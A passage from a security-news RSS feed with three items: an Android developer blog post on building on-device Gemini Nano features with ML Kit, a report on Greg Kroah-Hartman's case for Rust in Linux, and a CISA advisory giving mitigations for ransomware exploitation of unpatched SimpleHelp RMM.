series "<a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">Build intelligent Android apps</a>" where we take a basic Android app and transform it into a <b>personalized, intelligent, </b>and <b>agentic </b>experience. In our <a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html" target="_blank">previous post we introduced Jetpacker</a>, the demo app we'll use throughout this series.</p>

<p>In this blog post, we will share how you can use Gemini Nano through <a href="https://developers.google.com/ml-kit/genai/prompt/android">ML Kit’s Prompt API</a> to build intelligent on-device features.</p>
<div>
  
  
</div>

<p>Building intelligent on-device features refers to the ability to process prompts and data directly on a device without sending data to a server. This offers a few advantages:</p>
<ul>
  <li>User data can be processed <b>locally</b> on the device, preserving user privacy</li>
  <li>Functionality of the model is <b>reliable</b> even with spotty or no internet connection</li>
  <li>No additional cloud inference <b>cost</b>, since everything runs on the user’s hardware</li>
</ul>

<p>With the benefits of on-device in mind, we identified three features to add in Jetpacker that can improve the user experience: summarizing trip itineraries, managing expenses, and capturing voice notes.</p>

<h2><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3FDrGSpGJqSapXXQ7052s1NR8rzvmmW-xbyOaAcg8bdTA6ZH7p6ZWE664FjlaoDLfREd-RlQil7gV-VjnCoq76o06haLoSxBzlIDAvM-dKvm_TCgPvqHU3ZlzBTXZ9XtAyMk26QWB8PvU5aUmzO0RBuMxqxJdC1wk7xl_1PXd1KHvuMCeHeAP9zhgSjg/s1848/Screenshot%202026-07-02%20at%2012.57.08%E2%80%AFPM.png"><img border="0" data-original-height="1256" data-original-width="1848" height="434" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg3FDrGSpGJqSapXXQ7052s1NR8rzvmmW-xbyOaAcg8bdTA6ZH7p6ZWE664FjlaoDLfREd-RlQil7gV-VjnCoq76o06haLoSxBzlIDAvM-dKvm_TCgPvqHU3ZlzBTXZ9XtAyMk26QWB8PvU5aUmzO0RBuMxqxJdC1wk7xl_1PXd1KHvuMCeHeAP9zhgSjg/w640-h434/Screenshot%202026-07-02%20at%2012.57.08%E2%80%AFPM.png" width="640"></a></div><div><span><span><i>On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes</i></span></span></div><div class="separator"><br></div>High quality tailored summarization of short texts</h2>

<p>The itinerary screen gives users a quick overview of all activities for a given trip. Since this screen contains a lot of information, it can quickly become overwhelming. To help users prepare without feeling overwhelmed, we can add a ‘<b>Get ready for your trip</b>’ section at the top.</p>
<p><em></em></p>
<div class="separator"><em><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtWrJplvxl7ymB4kMN_Tg4tYYkL7G1Ory0hSptzqsbw_xCu4I9l_4SQPQ9CUXs_Jc7qtT1KcpltBds0aYgIvXiK_-qp6fnoX3QmYnGyqGgr2d5f2uzQkyMK-_Iebwp9Ap0aJA4c8Pz4Zy01O5AM6kk_qZ4Blx_bY-_2xIxSA8DMva2LWBbCN_Hb_c37KE/s2499/Screenshot_20260702_111934.png"><img border="0" data-original-height="2499" data-original-width="1183" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtWrJplvxl7ymB4kMN_Tg4tYYkL7G1Ory0hSptzqsbw_xCu4I9l_4SQPQ9CUXs_Jc7qtT1KcpltBds0aYgIvXiK_-qp6fnoX3QmYnGyqGgr2d5f2uzQkyMK-_Iebwp9Ap0aJA4c8Pz4Zy01O5AM6kk_qZ4Blx_bY-_2xIxSA8DMva2LWBbCN_Hb_c37KE/w189-h400/Screenshot_20260702_111934.png" width="189"></a></em></div>
<div><span><span><i>The romantic Paris trip is summarized as a classic Parisian adventure blending art, sights, and delicious food. A tip and some useful phrases are also added.</i></span></span></div>
<p></p>

<p>By inputting a trip itinerary and asking an LLM to summarize it, we can generate a quick summary of the trip along with packing tips and useful local phrases. This is a great use case for an on-device model for several reasons:</p>
<ul>
  <li><b>Performance and quality</b>: Both the input and output text are relatively short. With that, we can expect the performance and quality of an on-device solution to be on par with more powerful cloud models.</li>
  <li><b>Scalability</b>: Shifting inference on-device allows us to scale this feature from a few users to millions without worrying about managing increasing cloud inference costs.</li>
  <li><b>Low latency and reliability</b>: On-device inference guarantees low latency, providing a reliable experience even when users are offline.</li>
</ul>

<p>To build with on-device, we use <b>Gemini Nano</b>, Google’s most efficient model optimized for mobile devices. Gemini Nano was first introduced a few years ago, and is now running on over 140 million devices. The latest version of the model, <a href="https://android-developers.googleblog.com/2026/04/AI-Core-Developer-Preview.html">Gemini Nano 4, is built on the architecture foundation of the recently released Gemma 4 model</a>, and is further optimized for maximum battery and performance efficiency.</p>

<p>Using ML Kit’s <b>Prompt API</b>, we can take advantage of Gemini Nano 4’s new model capabilities to prototype our on-device features. We’ll create a prompt that includes the itinerary of a trip and ask the model to generate a summary along with any preparation tips.</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3") 

// Define the configuration for Gemini Nano 4 E2B preview model
val previewFastConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FAST
    }
}

val geminiNano2BPreviewModel = Generation.getClient(previewFastConfig)

val tripItinerary = ...

val getReadyForYourTripSummary = geminiNano2BPreviewModel
 .generateContent("Given this trip itinerary: $tripItinerary, 
     generate the following: overall vibe, tips on how to prepare for this
     trip, and common short phrases to learn for the trip.")</code></pre>

<p>Finding the optimal prompt usually requires some iteration, and the AICore app is perfect for this step in the process. After opting into the <a href="https://developers.google.com/ml-kit/genai/aicore-dev-preview">developer preview option for AICore</a>, we can download preview models such as Gemini Nano 4 to test prompts and see the model’s expected outputs. With a few iterations on the prompt, we were able to improve the speed of the response from 13 seconds to under 2 seconds! Check out the final code implementation and prompt <a href="https://github.com/android/ai-samples/blob/40b999ef0e85693eac4de06e58335f0f5f125fa6/jetpacker/android/feature/trip/itinerary/enrichment/src/main/kotlin/com/example/jetpacker/feature/itinerary_enrichment/TripSummaryAndTipsProviderImpl.kt#L100" target="_blank">here</a>.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaY2Q7rzlrAj2i410lc3qqtKwI3m6ufAi27R5S94LVFJKEJPnxmvShIcAWdD_Cx9lhTz9tmKW_DVcmNg0rZFBKpqYj0M9niFJwa-AurlyV2SHuErI7Z9H59Q9S936I4ErUQ_NFRNSJpUBXwDVmw6vKNVpIkBrYPJNUpCIyNXl5Z17x7jEl5Kn9BGgFuLg/s553/Screen%20Recording%202026-07-02%20at%2012.28.51%E2%80%AFPM.gif"><img border="0" data-original-height="553" data-original-width="496" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaY2Q7rzlrAj2i410lc3qqtKwI3m6ufAi27R5S94LVFJKEJPnxmvShIcAWdD_Cx9lhTz9tmKW_DVcmNg0rZFBKpqYj0M9niFJwa-AurlyV2SHuErI7Z9H59Q9S936I4ErUQ_NFRNSJpUBXwDVmw6vKNVpIkBrYPJNUpCIyNXl5Z17x7jEl5Kn9BGgFuLg/w359-h400/Screen%20Recording%202026-07-02%20at%2012.28.51%E2%80%AFPM.gif" width="359"></a></div>

<div><span><span><i>The first iteration of our prompt generated way too many tokens, and optimizing it helped keep responses quick and to the point.</i></span></span></div>

<h2>Local processing for sensitive user input</h2>

<p>Next, to help users enjoy their trip even more, we’ll build a simple expense manager that takes the manual work out of sorting through receipts and calculating budgets.</p>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsHCjYJhDefKk1_FHnyB8mXO6XGrVWPrWkkxUikHNrWly2YqLjD8GyN-qGXOBlZCJPug-VbVgBr8awg8I-TEl6d9udKhq_zKem9Xcdb7FzFlA4B77Iko2Rbf8R0XIPB30owcMoh-7KJ1paQnzDrNHSdvwYotNxt166QqJdNAf1d8wEwIFkL9qIEYUKmoQ/s1282/7.13_BlogGif_Transparent.gif"><img border="0" data-original-height="1282" data-original-width="613" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsHCjYJhDefKk1_FHnyB8mXO6XGrVWPrWkkxUikHNrWly2YqLjD8GyN-qGXOBlZCJPug-VbVgBr8awg8I-TEl6d9udKhq_zKem9Xcdb7FzFlA4B77Iko2Rbf8R0XIPB30owcMoh-7KJ1paQnzDrNHSdvwYotNxt166QqJdNAf1d8wEwIFkL9qIEYUKmoQ/w191-h400/7.13_BlogGif_Transparent.gif" width="191"></a></div>
<br>
  
<div><span><span><i>Taking a photo of a restaurant bill, data is parsed and shown in the expense overview screen of the app.</i></span></span></div>

<p>Since receipts might contain sensitive information like credit card number and addresses, this is another great use case for an on-device solution. With on-device, users can be confident that private information will be processed locally on the device without any of their data being sent to the cloud.</p>

<p>In addition, Gemini Nano 4 has improved model capabilities for multimodality, especially for image understanding tasks like OCR and visual data extraction, making it a great solution for tasks like extracting information from receipts.</p>

<p>For this use case, the prompt will analyze an image of the receipt, and output information such as: a generated title, amount spent and category of the expense. To ensure the model outputs the information in the preferred format, we can use <a href="https://developers.google.com/ml-kit/genai/prompt/android/structured-output">ML Kit’s Structured Output API</a> to seamlessly output a Kotlin data object that we define.</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// ksp("com.google.mlkit:genai-schema-compiler:1.0.0-alpha1")

@Generable("Information extracted from an expense receipt")
data class ParsedReceipt(
  @Guide("Generated title for the expense less than 6 words. Based on restaurant or activity name.")
  val title: String,
  @Guide("Total amount of the expense. Look for values at the bottom and words like total or balance due.")
  val amount: Double,
  @Guide("Type of expense", enumValues = ["travel", "food", "shopping", "entertainment", "other"])
  val category: String,
)

val prompt = "Determine if the image is a receipt or expense. 
    If it is NOT a receipt or expense, output the text 'NOT_A_RECEIPT'.
    Otherwise, parse the receipt information."

val request = generateContentRequest(ImagePart(bitmap), TextPart(prompt)) {}
val requestWithStructuredOutput = generateTypedContentRequest(request, ParsedReceipt::class)

// Define the configuration for Gemini Nano 4 E4B preview model  
// When selecting models, you can specify which performance charactertists are most important
//  for your use case. Use ModelPreference.FULL when you want to prioritize reasoning power over speed. 
//  Use ModelPreference.FAST when complex logic is not required and latency is a priority.
val previewFullConfig = generationConfig {
    modelConfig = modelConfig {
        releaseStage = ModelReleaseStage.PREVIEW
        preference = ModelPreference.FULL
    }
}

val geminiNano4BPreviewModel = Generation.getClient(previewFullConfig)
val response = geminiNano4BPreviewModel.generateContent(requestWithStructuredOutput)
val parsedReceipt: ParsedReceipt? = response.candidates.firstOrNull()?.response</code></pre>

<h2>Multimodal input</h2>

<p>Lastly, to help users record audio memos during the trip, let’s build a fully on-device voice notes feature. Using <a href="https://developers.google.com/ml-kit/genai/speech-recognition/android">ML Kit’s Speech Recognition API</a>, we’ll enable users to record short voice notes that are automatically transcribed to text. With the transcribed text, we’ll use ML Kit’s Prompt API to identify which trip activity is associated with the recorded voice note, letting users easily recap their trip as they scroll through the trip’s itinerary.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnAm4XPVEJkfPmRFKJWh2sS-4rVz_eFollYxU5DWb7kAkSQdP4xhAEosziS_vpxv6yoAkvHiSp6SGYOp2_qp_cJWgfbJGnDOadaMP6Bc30a6rYnSP34sEubNAWXqsmd3cpYOoL8rCUhQn0_4GT3165aSFinlnHZjVnXYNYBAw8AdVtJpuRG2gDbi-uRII/s2499/Screenshot_20260702_115529.png"><img border="0" data-original-height="2499" data-original-width="1183" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnAm4XPVEJkfPmRFKJWh2sS-4rVz_eFollYxU5DWb7kAkSQdP4xhAEosziS_vpxv6yoAkvHiSp6SGYOp2_qp_cJWgfbJGnDOadaMP6Bc30a6rYnSP34sEubNAWXqsmd3cpYOoL8rCUhQn0_4GT3165aSFinlnHZjVnXYNYBAw8AdVtJpuRG2gDbi-uRII/w189-h400/Screenshot_20260702_115529.png" width="189"></a></div>

<p><em>The Roman holiday itinerary shows voice note extracts.</em></p>

<p>The <a href="https://developers.google.com/ml-kit/genai/speech-recognition/android">ML Kit GenAI Speech Recognition API </a>allows you to transcribe audio content to text fully on-device using two distinct modes. <b>Basic mode</b> uses a traditional on-device speech recognition model and is available on most Android devices with API level 31 and higher. <b>Advanced mode</b> uses Gemini Nano to offer broader language coverage and better quality, and is currently supported on Pixel 10 devices.</p>

<p>For our feature we combine the Speech Recognition API with the ML Kit GenAI Prompt API:</p>

<pre><code>// implementation("com.google.mlkit:genai-prompt:1.0.0-beta3")
// implementation("com.google.mlkit:genai-speech-recognition:1.0.0-alpha1")

val tripEvents = ... 

// Set up speech recognition
val speechRecognizerOptions =
    speechRecognizerOptions {
        locale = Locale.US
        preferredMode = SpeechRecognizerOptions.Mode.MODE_ADVANCED
    }
val speechRecognizer: SpeechRecognizer = SpeechRecognition.getClient(speechRecognizerOptions)

suspend fun transcribeVoiceNote(recognizer: SpeechRecognizer) {
    // Display partial text as the user is recording audio
    var partialTextResponse = ""

    // Display the full text once user is finished recording audio
    var transcription = ""

    val request: SpeechRecognizerRequest
        = speechRecognizerRequest { audioSource = AudioSource.fromMic() }
    recognizer.startRecognition(request).collect { response -&gt;
        when (response) {
            is SpeechRecognizerResponse.PartialTextResponse -&gt; {
                partialTextResponse = response.text
            }
            is SpeechRecognizerResponse.FinalTextResponse -&gt; {
                transcription = response.text
                processAndCategorizeVoiceNote(transcription, tripEvents)
            }
        }
    }
}

fun processAndCategorizeVoiceNote(transcribedVoiceNote: String, events: List<event>) {
    val prompt = "Given the voice note $transcribedVoiceNote
     and the following events for this trip: $events, rewrite this transcription
     to remove filler words. Then, identify which events from the
     list this rewritten transcription matches to."

     // Utilize ML Kit's Prompt API to process voice note and tag it with the relevant trip activities
     Generation.getClient().generateContent(prompt)
}</event></code></pre>

<h2>Conclusion</h2>

<p>Using ML Kit’s GenAI APIs, we were able to take advantage of Gemini Nano to develop fully on-device intelligent features for the JetPacker app, and provide an improved user experience without any additional cloud costs.</p>

<p>Check out the full source code for <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">Jetpacker on Github</a>, and watch the video <a href="https://www.youtube.com/watch?v=_iuXykdlTkk">Build Intelligent Android apps with Google’s AI</a> to learn more about how to integrate intelligent features directly into your app using on-device models, cloud-powered reasoning, and the latest agentic frameworks.</p><h2>Learn more</h2>

<p>Check out the other parts of this blog post series:</p><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html"><b>Part 1:</b></a> Introduction of the app and a high-level overview.<br><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html"><b>Part 2 (this post!):</b></a> On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html"><b>Part 3:</b> </a>Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html"><b>Part 4:</b></a> System integration. Integrating with the Android intelligence system using AppFunctions.<br>Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p>

<p>All code snippets in this blog post follow the following copyright notice:<br>
</p><pre><code>Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0</code></pre><p></p></div></div>]]></content:encoded>
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<item>
<title><![CDATA[Rust Will Help Linux Succeed and Makes Coding Fun, Says Greg Kroah-Hartman]]></title>
<description><![CDATA[ZDNet reports on June's Open Source Summit India 2026 in Mumbai, where Linux stable kernel maintainer Greg Kroah-Hartman gave a talk titled "Rust and Linux: How the Rust Language is Going to Help Linux Succeed."




 Kroah-Hartman said in his keynote that "the [Linux] kernel is moving toward Rust...]]></description>
<link>https://tsecurity.de/de/3693453/linux-tipps/rust-will-help-linux-succeed-and-makes-coding-fun-says-greg-kroah-hartman/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693453/linux-tipps/rust-will-help-linux-succeed-and-makes-coding-fun-says-greg-kroah-hartman/</guid>
<pubDate>Sat, 25 Jul 2026 10:12:26 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ZDNet reports on June's Open Source Summit India 2026 in Mumbai, where Linux stable kernel maintainer Greg Kroah-Hartman gave a talk titled "Rust and Linux: How the Rust Language is Going to Help Linux Succeed."




 Kroah-Hartman said in his keynote that "the [Linux] kernel is moving toward Rust. Git is moving toward Rust. Lots of projects are starting to move toward Rust."
 

He didn't always feel that way. Kroah-Hartman added, "A number of years ago, when a friend of mine said, 'Ah, you got to try this new language. It's called Rust.' I was like, 'What? No, C is great.' His friend continued, "'No, no, no! It makes programming fun again.' I'm like, 'Nah, programming is fun in C.' He was right. I should have done it then. Rust is actually fun. It makes programming fun. It takes a lot of stuff away from having to worry about the compiler, which can fix a lot of your problems for you, and it makes code a little bit better." 

So, Kroah-Hartman has moved from being a Rust skeptic to one of its strongest champions inside the kernel. He now regards Rust as a permanent part of Linux, not an experiment. His case is straightforward: Rust's ownership and type system can eliminate most of the "stupid little tiny things" that dominate kernel Common Vulnerabilities and Exposures (CVEs), while making life easier for overworked maintainers. "Rust," in short, "makes my life so much easier...." In India, he said Linux sees "about 13 CVEs a day" and has been running at "almost nine changes an hour" for a decade or more. Most of those vulnerabilities, he argued, are not exotic attacks but simple C mistakes — unchecked pointers, forgotten unlocks, and sloppy cleanup paths: "This is what we're fixing 13 times a day. Small, trivial, little bugs like this all the time.... I've seen every CVE the kernel has done in the past 25 years. I think 80% would be gone, just because they would be caught by Rust." The remaining 20% are the logic bugs he'd prefer to focus on...." 

 Moreover, Rust is becoming the default for new work in key subsystems. "New drivers for some subsystems are only going to be accepted in Rust...." he said. Binder, the Android IPC mechanism at the heart of billions of devices, now has parallel C and Rust implementations in the kernel. The C version "will go away soon," leaving the Rust version "as the bedrock of all Android devices going forward."<p></p><div class="share_submission">
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<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fdevelopers.slashdot.org%2Fstory%2F26%2F07%2F20%2F0417244%2Frust-will-help-linux-succeed-and-makes-coding-fun-says-greg-kroah-hartman%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://developers.slashdot.org/story/26/07/20/0417244/rust-will-help-linux-succeed-and-makes-coding-fun-says-greg-kroah-hartman?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider]]></title>
<description><![CDATA[Summary
The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this advisory in response to ransomware actors leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider. Th...]]></description>
<link>https://tsecurity.de/de/3693384/sicherheitsluecken/ransomware-actors-exploit-unpatched-simplehelp-remote-monitoring-and-management-to-compromise-utility-billing-software-provider/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693384/sicherheitsluecken/ransomware-actors-exploit-unpatched-simplehelp-remote-monitoring-and-management-to-compromise-utility-billing-software-provider/</guid>
<pubDate>Sat, 25 Jul 2026 09:19:52 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Summary</strong></h2>
<p>The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this advisory in response to ransomware actors leveraging unpatched instances of a vulnerability in SimpleHelp Remote Monitoring and Management (RMM) to compromise customers of a utility billing software provider. This incident reflects a broader pattern of ransomware actors targeting organizations through unpatched versions of SimpleHelp RMM since January 2025.</p>
<p>SimpleHelp versions 5.5.7 and earlier contain several vulnerabilities, including <a href="https://www.cve.org/CVERecord?id=CVE-2024-57727" target="_blank" title="CVE-2024-57727">CVE-2024-57727</a>—a path traversal vulnerability.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note1" title="Note1"><sup>1</sup></a><sup> </sup>Ransomware actors likely leveraged CVE-2024-57727 to access downstream customers’ unpatched SimpleHelp RMM for disruption of services in double extortion compromises.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note1" title="Note 1"><sup>1</sup></a><sup> </sup></p>
<p>CISA added CVE-2024-57727 to its <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" title="Known Exploited Vulnerabilities Catalog">Known Exploited Vulnerabilities (KEV) Catalog</a> on Feb. 13, 2025.</p>
<p>CISA urges software vendors, downstream customers, and end users to immediately implement the <strong>Mitigations </strong>listed in this advisory based on confirmed compromise or risk of compromise.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2025-06/aa25-163a-ransomware-simplehelp-rmm-compromise.pdf" class="c-file__link" target="_blank">AA25-163A Ransomware Actors Exploit Unpatched SimpleHelp Remote Monitoring and Management to Compromise Utility Billing Software Provider</a>
    <span class="c-file__size">(PDF,       420.49 KB
  )</span>
  </div>
</div>
<h2><strong>Mitigations</strong></h2>
<p>CISA recommends organizations implement the mitigations below to respond to emerging ransomware activity exploiting SimpleHelp software. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="CPGs webpage">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections. These mitigations apply to all critical infrastructure organizations.</p>
<h3>Vulnerable Third-Party Vendors</h3>
<p>If SimpleHelp is embedded or bundled in vendor-owned software or if a third-party service provider leverages SimpleHelp on a downstream customer’s network, then identify the SimpleHelp server version at the top of the file <code>&lt;file_path&gt;/SimpleHelp/configuration/serverconfig.xml</code>. If version 5.5.7 or prior is found or has been used since January 2025, third-party vendors should:</p>
<ol>
<li>Isolate the SimpleHelp server instance from the internet or stop the server process.</li>
<li>Upgrade immediately to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerability advisory.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note2" title="Note 2"><sup>2</sup></a></li>
<li>Contact your downstream customers to direct them to take actions to secure their endpoints and undertake threat hunting actions on their network.</li>
</ol>
<h3>Vulnerable Downstream Customers and End Users</h3>
<p>Determine if the system is running an unpatched version of SimpleHelp RMM either directly or embedded in third-party software.</p>
<h4><strong>SimpleHelp Endpoints</strong></h4>
<p>Determine if an endpoint is running the remote access (RAS) service by checking the following paths depending on the specific environment:</p>
<ul>
<li>Windows: <code>%APPDATA%\JWrapper-Remote Access</code></li>
<li>Linux: <code>/opt/JWrapper-Remote Access</code></li>
<li>MacOs: <code>/Library/Application Support/JWrapper-Remote Access</code></li>
</ul>
<p>If RAS installation is present and running, open the <code>serviceconfig.xml</code> file in <code>&lt;file_path&gt;/JWrapper-Remote Access/JWAppsSharedConfig/</code> to determine if the registered service is vulnerable. The lines starting with <code>&lt;ConnectTo</code> indicate the server addresses where the service is registered.</p>
<h4><strong>SimpleHelp Server</strong></h4>
<p>Determine the version of any SimpleHelp server by performing an HTTP query against it. Add <code>/allversions</code> (e.g., <code>https://simple-help.com/allversions</code>) to query the URL for the version page. This page will list the running version.</p>
<p>If an unpatched SimpleHelp version 5.5.7 or earlier is confirmed on a system, organizations should conduct threat hunting actions for evidence of compromise and continuously monitor for unusual inbound and outbound traffic from the SimpleHelp server. <strong>Note: </strong>This is not an exhaustive list of indicators of compromise.</p>
<ol>
<li> Refer to SimpleHelp’s guidance to determine compromise and next steps.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note3" title="Note 3"><sup>3</sup></a></li>
<li>Isolate the SimpleHelp server instance from the internet or stop the server process.</li>
<li>Search for any suspicious or anomalous executables with three alphabetic letter filenames (e.g., <code>aaa.exe</code>, <code>bbb.exe</code>, etc.) with a creation time after January 2025. Additionally, perform host and network vulnerability security scans via reputable scanning services to verify malware is not on the system.</li>
<li>Even if there is no evidence of compromise, users should immediately upgrade to the latest SimpleHelp version in accordance with SimpleHelp’s security vulnerabilities advisory.<a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-163a#note4" title="Note 4"><sup>4</sup></a></li>
</ol>
<p>If your organization is unable to immediately identify and patch vulnerable versions of SimpleHelp, apply appropriate workarounds. In this circumstance, CISA recommends using other vendor-provided mitigations when available. These non-patching workarounds should not be considered permanent fixes and organizations should apply the appropriate patch as soon as it is made available.</p>
<h3>Encrypted Downstream Customers and End Users</h3>
<p>If a system has been encrypted by ransomware:</p>
<ol>
<li>Disconnect the affected system from the internet.</li>
<li>Use clean installation media (e.g., a bootable USD drive or DVD) to reinstall the operating system. Ensure the installation media is free from malware.</li>
<li>Wipe the system and only restore data from a clean backup. Ensure data files are obtained from a protected environment to avoid reintroducing ransomware to the system.</li>
</ol>
<p>CISA urges you to promptly report ransomware incidents to a <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="local FBI Field Office">local FBI Field Office</a>, FBI’s <a href="https://www.ic3.gov/" target="_blank" title="Internet Crime Compliant Center (IC3)">Internet Crime Compliant Center (IC3)</a>, and CISA via CISA’s 24/7 Operations Center (<a href="mailto:report@cisa.gov" title="report@cisa.gov">report@cisa.gov</a> or 1-844-Say-CISA).</p>
<h3><strong>Proactive Mitigations to Reduce Risk</strong></h3>
<p>To reduce opportunities for intrusion and to strengthen response to ransomware activity, CISA recommends customers of vendors and managed service providers (MSPs) implement the following best practices:</p>
<ul>
<li>Maintain a robust asset inventory and hardware list [<a href="https://www.cisa.gov/cybersecurity-performance-goals-cpgs#AssetInventory1A" title="CPG 1.A">CPG 1.A</a>].</li>
<li>Maintain a clean, offline backup of the system to ensure encryption will not occur once reverted. Conduct a daily system backup on a separate, offline device, such as a flash drive or external hard drive. Remove the device from the computer after backup is complete [<a href="https://www.cisa.gov/cybersecurity-performance-goals-cpgs#SystemBackups2R" title="CPG 2.R">CPG 2.R</a>].</li>
<li>Do not expose remote services such as Remote Desktop Protocol (RDP) on the web. If these services must be exposed, apply appropriate compensating controls to prevent common forms of abuse and exploitation. Disable unnecessary OS applications and network protocols on internet-facing assets [<a href="https://www.cisa.gov/cybersecurity-performance-goals-cpgs#NoExploitableServicesontheInternet2W" title="CPG 2.W">CPG 2.W</a>].</li>
<li>Conduct a risk analysis for RMM software on the network. If RMM is required, ask third-party vendors what security controls are in place.</li>
<li>Establish and maintain open communication channels with third-party vendors to stay informed about their patch management process.</li>
<li>For software vendors, consider integrating a Software Bill of Materials (SBOM) into products to reduce the amount of time for vulnerability remediation.
<ul>
<li>An SBOM is a formal record of components used to build software. SBOMs enhance supply chain risk management by quickly identifying and avoiding known vulnerabilities, identifying security requirements, and managing mitigations for vulnerabilities. For more information, see CISA’s <a href="https://www.cisa.gov/sbom" title="SBOM">SBOM</a> page.</li>
</ul>
</li>
</ul>
<h2><strong>Resources</strong></h2>
<ul>
<li><strong>Health-ISAC:</strong><a href="https://health-isac.org/threat-bulletin-simplehelp-rmm-software-leveraged-in-exploitation-attempt-to-breach-networks/" target="_blank" title="Threat Bulletin: SimpleHelp RMM Software Leveraged in Exploitation Attempt to Breach Networks">Threat Bulletin: SimpleHelp RMM Software Leveraged in Exploitation Attempt to Breach Networks</a></li>
<li><strong>Arctic Wolf: </strong><a href="https://arcticwolf.com/resources/blog-uk/arctic-wolf-observes-campaign-exploiting-simplehelp-rmm-software-initial-access/" target="_blank" title="Arctic Wolf Observes Campaign Exploiting SimpleHelp RMM Software for Initial Access">Arctic Wolf Observes Campaign Exploiting SimpleHelp RMM Software for Initial Access</a></li>
<li><strong>CISA: </strong><a href="https://www.cisa.gov/stopransomware/ransomware-guide" title="#StopRansomware Guide">#StopR</a><a href="https://www.cisa.gov/#StopRansomware" title="#StopRansomware Guide">ansomware Guide</a></li>
</ul>
<h2><strong>Reporting</strong></h2>
<p>Your organization has no obligation to respond or provide information back to FBI in response to this advisory. If, after reviewing the information provided, your organization decides to provide information to FBI, reporting must be consistent with applicable state and federal laws.</p>
<p>FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.</p>
<p>Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.</p>
